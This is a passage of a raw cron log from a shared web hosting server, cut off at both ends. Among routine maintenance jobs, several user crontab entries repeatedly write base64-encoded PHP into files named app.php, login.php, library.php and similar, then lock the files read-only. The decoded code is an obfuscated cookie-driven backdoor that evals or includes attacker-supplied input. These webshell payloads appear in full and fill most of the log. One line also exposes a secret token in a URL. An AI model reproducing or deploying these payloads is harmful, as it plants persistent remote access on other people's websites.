iAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:43:01 medusa CROND[27645]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:43:01 medusa CROND[27646]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:43:01 medusa CROND[27635]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 05:43:01 medusa CROND[27658]: (tipsiser) CMD (wget -O - -q -t 1 http://tipsiser.com.ar/chamilo/main/cron/run.php > /dev/null 2>&1)
Mar  1 05:44:02 medusa CROND[20418]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 05:44:02 medusa CROND[20419]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 05:44:02 medusa CROND[20420]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 05:44:02 medusa CROND[20421]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 05:44:02 medusa CROND[20422]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:44:02 medusa CROND[20423]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 05:44:02 medusa CROND[20425]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:44:02 medusa CROND[20426]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:44:02 medusa CROND[20427]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 05:44:02 medusa CROND[20429]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 05:44:02 medusa CROND[20431]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 05:44:02 medusa CROND[20432]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 05:44:02 medusa CROND[20433]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:45:01 medusa CROND[12721]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 05:45:01 medusa CROND[12729]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 05:45:01 medusa CROND[12835]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 05:45:01 medusa CROND[12839]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 05:45:01 medusa CROND[12840]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 05:45:01 medusa CROND[12841]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 05:45:01 medusa CROND[12844]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 05:45:01 medusa CROND[12843]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 05:45:01 medusa CROND[12845]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:45:01 medusa CROND[12847]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 05:45:01 medusa CROND[12849]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  1 05:45:01 medusa CROND[12851]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 05:45:01 medusa CROND[12867]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 05:45:01 medusa CROND[12868]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:45:01 medusa CROND[12866]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 05:45:01 medusa CROND[12869]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:45:01 medusa CROND[12870]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo 